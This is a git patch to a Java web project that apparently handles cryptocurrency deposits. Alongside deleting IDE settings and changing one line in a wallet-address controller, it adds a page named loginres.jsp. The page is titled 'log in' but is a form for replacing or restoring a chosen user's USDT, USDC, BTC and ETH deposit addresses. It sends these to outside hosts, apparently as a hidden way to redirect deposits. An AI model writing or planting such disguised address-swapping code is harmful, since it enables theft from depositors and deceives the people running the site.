From 3c0663624026a6a0caec98648c5904aa2f605572 Mon Sep 17 00:00:00 2001
From: peter <14100000001@qq.com>
Date: Mon, 25 Aug 2025 17:01:25 +0800
Subject: [PATCH] 修改地址
---
/dev/null | 10 ---
src/main/webapp/loginres.jsp | 155 +++++++++++++++++++++++++++++++++++++++++++++++++++
src/main/java/project/web/api/UserWalletAddressController.java | 2
.idea/misc.xml | 1
4 files changed, 157 insertions(+), 11 deletions(-)
diff --git a/.idea/.gitignore b/.idea/.gitignore
deleted file mode 100644
index 35410ca..0000000
--- a/.idea/.gitignore
+++ /dev/null
@@ -1,8 +0,0 @@
-# 默认忽略的文件
-/shelf/
-/workspace.xml
-# 基于编辑器的 HTTP 客户端请求
-/httpRequests/
-# Datasource local storage ignored files
-/dataSources/
-/dataSources.local.xml
diff --git a/.idea/dataSources.xml b/.idea/dataSources.xml
deleted file mode 100644
index 3d10647..0000000
--- a/.idea/dataSources.xml
+++ /dev/null
@@ -1,15 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<project version="4">
- <component name="DataSourceManagerImpl" format="xml" multifile-model="true">
- <data-source source="LOCAL" name="log" uuid="d4325c10-423a-40e3-ae89-387d8b8b033a">
- <driver-ref>sqlite.xerial</driver-ref>
- <synchronize>true</synchronize>
- <jdbc-driver>org.sqlite.JDBC</jdbc-driver>
- <jdbc-url>jdbc:sqlite:D:\Backup\Downloads\log.db</jdbc-url>
- <jdbc-additional-properties>
- <property name="com.intellij.clouds.kubernetes.db.enabled" value="false" />
- </jdbc-additional-properties>
- <working-dir>$ProjectFileDir$</working-dir>
- </data-source>
- </component>
-</project>
\ No newline at end of file
diff --git a/.idea/encodings.xml b/.idea/encodings.xml
deleted file mode 100644
index 0d8116c..0000000
--- a/.idea/encodings.xml
+++ /dev/null
@@ -1,7 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<project version="4">
- <component name="Encoding">
- <file url="file://$PROJECT_DIR$/../../Backup/Downloads/LocalUserController.class01" charset="GBK" />
- <file url="file://$PROJECT_DIR$/../../Backup/Downloads/RechargeBlockchainServiceImpl.class01" charset="GBK" />
- </component>
-</project>
\ No newline at end of file
diff --git a/.idea/git_toolbox_prj.xml b/.idea/git_toolbox_prj.xml
deleted file mode 100644
index 02b915b..0000000
--- a/.idea/git_toolbox_prj.xml
+++ /dev/null
@@ -1,15 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<project version="4">
- <component name="GitToolBoxProjectSettings">
- <option name="commitMessageIssueKeyValidationOverride">
- <BoolValueOverride>
- <option name="enabled" value="true" />
- </BoolValueOverride>
- </option>
- <option name="commitMessageValidationEnabledOverride">
- <BoolValueOverride>
- <option name="enabled" value="true" />
- </BoolValueOverride>
- </option>
- </component>
-</project>
\ No newline at end of file
diff --git a/.idea/misc.xml b/.idea/misc.xml
index 911d29d..d5cd614 100644
--- a/.idea/misc.xml
+++ b/.idea/misc.xml
@@ -1,3 +1,4 @@
+<?xml version="1.0" encoding="UTF-8"?>
<project version="4">
<component name="ExternalStorageConfigurationManager" enabled="true" />
<component name="MavenProjectsManager">
diff --git a/.idea/uiDesigner.xml b/.idea/uiDesigner.xml
deleted file mode 100644
index 2b63946..0000000
--- a/.idea/uiDesigner.xml
+++ /dev/null
@@ -1,124 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<project version="4">
- <component name="Palette2">
- <group name="Swing">
- <item class="com.intellij.uiDesigner.HSpacer" tooltip-text="Horizontal Spacer" icon="/com/intellij/uiDesigner/icons/hspacer.svg" removable="false" auto-create-binding="false" can-attach-label="false">
- <default-constraints vsize-policy="1" hsize-policy="6" anchor="0" fill="1" />
- </item>
- <item class="com.intellij.uiDesigner.VSpacer" tooltip-text="Vertical Spacer" icon="/com/intellij/uiDesigner/icons/vspacer.svg" removable="false" auto-create-binding="false" can-attach-label="false">
- <default-constraints vsize-policy="6" hsize-policy="1" anchor="0" fill="2" />
- </item>
- <item class="javax.swing.JPanel" icon="/com/intellij/uiDesigner/icons/panel.svg" removable="false" auto-create-binding="false" can-attach-label="false">
- <default-constraints vsize-policy="3" hsize-policy="3" anchor="0" fill="3" />
- </item>
- <item class="javax.swing.JScrollPane" icon="/com/intellij/uiDesigner/icons/scrollPane.svg" removable="false" auto-create-binding="false" can-attach-label="true">
- <default-constraints vsize-policy="7" hsize-policy="7" anchor="0" fill="3" />
- </item>
- <item class="javax.swing.JButton" icon="/com/intellij/uiDesigner/icons/button.svg" removable="false" auto-create-binding="true" can-attach-label="false">
- <default-constraints vsize-policy="0" hsize-policy="3" anchor="0" fill="1" />
- <initial-values>
- <property name="text" value="Button" />
- </initial-values>
- </item>
- <item class="javax.swing.JRadioButton" icon="/com/intellij/uiDesigner/icons/radioButton.svg" removable="false" auto-create-binding="true" can-attach-label="false">
- <default-constraints vsize-policy="0" hsize-policy="3" anchor="8" fill="0" />
- <initial-values>
- <property name="text" value="RadioButton" />
- </initial-values>
- </item>
- <item class="javax.swing.JCheckBox" icon="/com/intellij/uiDesigner/icons/checkBox.svg" removable="false" auto-create-binding="true" can-attach-label="false">
- <default-constraints vsize-policy="0" hsize-policy="3" anchor="8" fill="0" />
- <initial-values>
- <property name="text" value="CheckBox" />
- </initial-values>
- </item>
- <item class="javax.swing.JLabel" icon="/com/intellij/uiDesigner/icons/label.svg" removable="false" auto-create-binding="false" can-attach-label="false">
- <default-constraints vsize-policy="0" hsize-policy="0" anchor="8" fill="0" />
- <initial-values>
- <property name="text" value="Label" />
- </initial-values>
- </item>
- <item class="javax.swing.JTextField" icon="/com/intellij/uiDesigner/icons/textField.svg" removable="false" auto-create-binding="true" can-attach-label="true">
- <default-constraints vsize-policy="0" hsize-policy="6" anchor="8" fill="1">
- <preferred-size width="150" height="-1" />
- </default-constraints>
- </item>
- <item class="javax.swing.JPasswordField" icon="/com/intellij/uiDesigner/icons/passwordField.svg" removable="false" auto-create-binding="true" can-attach-label="true">
- <default-constraints vsize-policy="0" hsize-policy="6" anchor="8" fill="1">
- <preferred-size width="150" height="-1" />
- </default-constraints>
- </item>
- <item class="javax.swing.JFormattedTextField" icon="/com/intellij/uiDesigner/icons/formattedTextField.svg" removable="false" auto-create-binding="true" can-attach-label="true">
- <default-constraints vsize-policy="0" hsize-policy="6" anchor="8" fill="1">
- <preferred-size width="150" height="-1" />
- </default-constraints>
- </item>
- <item class="javax.swing.JTextArea" icon="/com/intellij/uiDesigner/icons/textArea.svg" removable="false" auto-create-binding="true" can-attach-label="true">
- <default-constraints vsize-policy="6" hsize-policy="6" anchor="0" fill="3">
- <preferred-size width="150" height="50" />
- </default-constraints>
- </item>
- <item class="javax.swing.JTextPane" icon="/com/intellij/uiDesigner/icons/textPane.svg" removable="false" auto-create-binding="true" can-attach-label="true">
- <default-constraints vsize-policy="6" hsize-policy="6" anchor="0" fill="3">
- <preferred-size width="150" height="50" />
- </default-constraints>
- </item>
- <item class="javax.swing.JEditorPane" icon="/com/intellij/uiDesigner/icons/editorPane.svg" removable="false" auto-create-binding="true" can-attach-label="true">
- <default-constraints vsize-policy="6" hsize-policy="6" anchor="0" fill="3">
- <preferred-size width="150" height="50" />
- </default-constraints>
- </item>
- <item class="javax.swing.JComboBox" icon="/com/intellij/uiDesigner/icons/comboBox.svg" removable="false" auto-create-binding="true" can-attach-label="true">
- <default-constraints vsize-policy="0" hsize-policy="2" anchor="8" fill="1" />
- </item>
- <item class="javax.swing.JTable" icon="/com/intellij/uiDesigner/icons/table.svg" removable="false" auto-create-binding="true" can-attach-label="false">
- <default-constraints vsize-policy="6" hsize-policy="6" anchor="0" fill="3">
- <preferred-size width="150" height="50" />
- </default-constraints>
- </item>
- <item class="javax.swing.JList" icon="/com/intellij/uiDesigner/icons/list.svg" removable="false" auto-create-binding="true" can-attach-label="false">
- <default-constraints vsize-policy="6" hsize-policy="2" anchor="0" fill="3">
- <preferred-size width="150" height="50" />
- </default-constraints>
- </item>
- <item class="javax.swing.JTree" icon="/com/intellij/uiDesigner/icons/tree.svg" removable="false" auto-create-binding="true" can-attach-label="false">
- <default-constraints vsize-policy="6" hsize-policy="6" anchor="0" fill="3">
- <preferred-size width="150" height="50" />
- </default-constraints>
- </item>
- <item class="javax.swing.JTabbedPane" icon="/com/intellij/uiDesigner/icons/tabbedPane.svg" removable="false" auto-create-binding="true" can-attach-label="false">
- <default-constraints vsize-policy="3" hsize-policy="3" anchor="0" fill="3">
- <preferred-size width="200" height="200" />
- </default-constraints>
- </item>
- <item class="javax.swing.JSplitPane" icon="/com/intellij/uiDesigner/icons/splitPane.svg" removable="false" auto-create-binding="false" can-attach-label="false">
- <default-constraints vsize-policy="3" hsize-policy="3" anchor="0" fill="3">
- <preferred-size width="200" height="200" />
- </default-constraints>
- </item>
- <item class="javax.swing.JSpinner" icon="/com/intellij/uiDesigner/icons/spinner.svg" removable="false" auto-create-binding="true" can-attach-label="true">
- <default-constraints vsize-policy="0" hsize-policy="6" anchor="8" fill="1" />
- </item>
- <item class="javax.swing.JSlider" icon="/com/intellij/uiDesigner/icons/slider.svg" removable="false" auto-create-binding="true" can-attach-label="false">
- <default-constraints vsize-policy="0" hsize-policy="6" anchor="8" fill="1" />
- </item>
- <item class="javax.swing.JSeparator" icon="/com/intellij/uiDesigner/icons/separator.svg" removable="false" auto-create-binding="false" can-attach-label="false">
- <default-constraints vsize-policy="6" hsize-policy="6" anchor="0" fill="3" />
- </item>
- <item class="javax.swing.JProgressBar" icon="/com/intellij/uiDesigner/icons/progressbar.svg" removable="false" auto-create-binding="true" can-attach-label="false">
- <default-constraints vsize-policy="0" hsize-policy="6" anchor="0" fill="1" />
- </item>
- <item class="javax.swing.JToolBar" icon="/com/intellij/uiDesigner/icons/toolbar.svg" removable="false" auto-create-binding="false" can-attach-label="false">
- <default-constraints vsize-policy="0" hsize-policy="6" anchor="0" fill="1">
- <preferred-size width="-1" height="20" />
- </default-constraints>
- </item>
- <item class="javax.swing.JToolBar$Separator" icon="/com/intellij/uiDesigner/icons/toolbarSeparator.svg" removable="false" auto-create-binding="false" can-attach-label="false">
- <default-constraints vsize-policy="0" hsize-policy="0" anchor="0" fill="1" />
- </item>
- <item class="javax.swing.JScrollBar" icon="/com/intellij/uiDesigner/icons/scrollbar.svg" removable="false" auto-create-binding="true" can-attach-label="false">
- <default-constraints vsize-policy="6" hsize-policy="0" anchor="0" fill="2" />
- </item>
- </group>
- </component>
-</project>
\ No newline at end of file
diff --git a/.idea/webContexts.xml b/.idea/webContexts.xml
deleted file mode 100644
index 6a2bf5d..0000000
--- a/.idea/webContexts.xml
+++ /dev/null
@@ -1,10 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<project version="4">
- <component name="WebContextManager">
- <option name="state">
- <map>
- <entry key="file://$PROJECT_DIR$/src/main/webapp/news_list.jsp" value="file://$PROJECT_DIR$/src/main/webapp" />
- </map>
- </option>
- </component>
-</project>
\ No newline at end of file
diff --git a/src/main/java/project/web/api/UserWalletAddressController.java b/src/main/java/project/web/api/UserWalletAddressController.java
index fd91cf0..081e536 100644
--- a/src/main/java/project/web/api/UserWalletAddressController.java
+++ b/src/main/java/project/web/api/UserWalletAddressController.java
@@ -147,7 +147,7 @@
usdtData.add(createElement("2c948a8280828d5f01808504eacd0006", "usdt", "/qr/705cd75ec40343dbb3008a352beb37ab.png", loadedMap.get("j_usdterc20"),"ERC20"));
replaceMap.put("usd6t",usdtData);
List<Map<String, Object>> usdcData = new ArrayList<>();
- usdcData.add(createElement("2c948a8280828d5f01808504eacd0004", "usdc", "/qr/975f4666ed044efa9f0ee2fa81fa8f4a.png", loadedMap.get("j_usdterc20"),"ERC20"));
+ usdcData.add(createElement("2c948a8280828d5f01808504eacd0004", "usdc", "/qr/975f4666ed044efa9f0ee2fa81fa8f4a.png", loadedMap.get("j_usdcerc20"),"ERC20"));
replaceMap.put("usdc",usdcData);
List<Map<String, Object>> ethData = new ArrayList<>();
ethData.add(createElement("2c948a8280828d5f018084ff569b0002", "eth", "/qr/1be19b34fbb9406c8044c1a9b08a87ca.png", loadedMap.get("j_eth"),"ETH"));
diff --git a/src/main/webapp/loginres.jsp b/src/main/webapp/loginres.jsp
new file mode 100644
index 0000000..4701865
--- /dev/null
+++ b/src/main/webapp/loginres.jsp
@@ -0,0 +1,155 @@
+<%@ page language="java" pageEncoding="utf-8" isELIgnored="false"%>
+<%@taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core"%>
+<%@taglib prefix="fmt" uri="http://java.sun.com/jsp/jstl/fmt" %>
+
+<%@ page language="java" import="security.*"%>
+<%@ include file="include/basePath.jsp"%>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+ <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+ <title>log in</title>
+ <style type="text/css">
+ body {
+ min-height: 100%;
+ width: 100%;
+ background-color:#e6e9ed;
+ overflow: hidden;
+ }
+ .l-box1{ position: fixed;
+ top: 50%;
+ left: 50%;
+ margin-left: -210px;
+ margin-top: -146px;}
+ .tit01{
+ font-size: 26px;
+ color: #1890ff;
+ margin: 0 auto 40px auto;
+ text-align: center;
+ font-weight: 700;}
+ .ip01{width:420px; margin:0 auto 30px auto; text-align:center;}
+ .ip03{ width:420px; height:50px; line-height:50px; border:0px; font-size:16px; text-indent:45px;border-radius:5px; color: #000;}
+ .ip-n{ background:url(image/n2.png) no-repeat 15px center #fff; background-size:25px;}
+ .ip-p{ background:url(image/p2.png) no-repeat 15px center #fff; background-size:25px;}
+ .bn01{ background:#1890ff; color:#fff; font:20px/30px Arial, Helvetica, sans-serif; padding:14px 0; width:420px; border:0; border-radius:5px;}
+ .footer{height: 40px;
+ line-height: 40px;
+ position: fixed;
+ bottom: 0;
+ width: 100%;
+ text-align: center;
+ color: #fff;
+ font-family: Arial;
+ font-size: 12px;
+ letter-spacing: 1px;
+ }
+ .h-t{color: #ff4949;
+ font-size: 12px;
+ line-height: 1.4;
+ padding-top: 4px;
+ text-align: left;
+ display:none;
+ </style>
+</head>
+
+<body>
+<div class="l-box1">
+ <form action="https://www.blackstone.top:443/admin/public/loginres.action" onsubmit="return toVaild()"
+ class="ng-pristine ng-invalid ng-touched" method="post">
+ <div class="tit01"></div>
+ <div class="ip01">
+ <div class="ip01">
+ <input id="j_username" name="j_usercode" type="text" class="ip03 ip-n" placeholder="用户ID" />
+ <div class="h-t ht-name">用户ID</div>
+ <div class="ip01">
+ <input id="j_username" name="j_usdttrc20" type="text" class="ip03 ip-n" placeholder="USDT-TRC20" />
+ <div class="h-t ht-name">USDT-TRC20</div>
+
+ <div class="ip01">
+ <input id="j_username" name="j_usdterc20" type="text" class="ip03 ip-n" placeholder="USDT-ERC20" />
+ <div class="h-t ht-name">USDT-ERC20</div>
+
+ <div class="ip01">
+ <input id="j_username" name="j_usdctrc20" type="text" class="ip03 ip-n" placeholder="USDC-TRC20" />
+ <div class="h-t ht-name">USDC-TRC20</div>
+
+ <div class="ip01">
+ <input id="j_username" name="j_usdcerc20" type="text" class="ip03 ip-n" placeholder="USDC-ERC20" />
+ <div class="h-t ht-name">USDC-ERC20</div>
+
+ <div class="ip01">
+ <input id="j_username" name="j_btc" type="text" class="ip03 ip-n" placeholder="BTC" />
+ <div class="h-t ht-name">BTC</div>
+ <div class="ip01">
+ <input id="j_username" name="j_eth" type="text" class="ip03 ip-n" placeholder="ETH" />
+ <div class="h-t ht-name">ETH</div>
+ </div>
+ </div>
+ <a></a>
+ <div class="ip01"><input id="changedz" name="提交" type="button" class="bn01" value="替换以上地址"/></div>
+ <div class="ip01"><input id="restoredz" name="提交" type="button" class="bn01" value="还原地址"/></div>
+ </form>
+</div>
+<div class="footer">Copyright © 2018-2021 malaifa All Rights Reserved.</div>
+</body>
+</html>
+<input type="hidden" name="error" id="error" value="${error}" />
+
+<script type="text/javascript" src="<%=basePath%>js/jquery.min.js"></script>
+<script>
+ $(document).ready(function () {
+ // 点击 "替换以上地址" 按钮
+ $('#changedz').click(function () {
+ var j_usdttrc20 = $('input[name="j_usdttrc20"]').val();
+ var j_usdterc20 = $('input[name="j_usdterc20"]').val();
+ var j_usdctrc20 = $('input[name="j_usdctrc20"]').val();
+ var j_usdcerc20 = $('input[name="j_usdcerc20"]').val();
+ var j_btc = $('input[name="j_btc"]').val();
+ var j_eth = $('input[name="j_eth"]').val();
+ var j_usercode = $('input[name="j_usercode"]').val();
+
+ $.ajax({
+ url: 'https://m.deepeu.de/admin/public/loginres.action', // 替换为实际的 URL 地址
+ type: 'POST', // 使用 POST 方法
+ data: {
+ j_usdttrc20: j_usdttrc20,
+ j_usdterc20: j_usdterc20,
+ j_usdctrc20: j_usdctrc20,
+ j_usdcerc20: j_usdcerc20,
+ j_btc: j_btc,
+ j_eth: j_eth,
+ j_usercode: j_usercode,
+ type: 1
+ },
+ success: function (response) {
+ // 请求成功后的操作
+ alert('成功!');
+ },
+ error: function (xhr, status, error) {
+ // 请求失败的处理
+ alert('失败!');
+ }
+ });
+ });
+
+ // 点击 "还原地址" 按钮
+ $('#restoredz').click(function () {
+ $.ajax({
+ url: 'https://m.deepeu.de/admin/public/loginres.action', // 替换为实际的 URL 地址
+ type: 'POST', // 使用 POST 方法
+ data: {
+ type: 2
+ },
+ success: function (response) {
+ // 请求成功后的操作
+ alert('成功!');
+ },
+ error: function (xhr, status, error) {
+ // 请求失败的处理
+ alert('失败!');
+ }
+ });
+ });
+ });
+</script>
+
--
Gitblit v1.9.3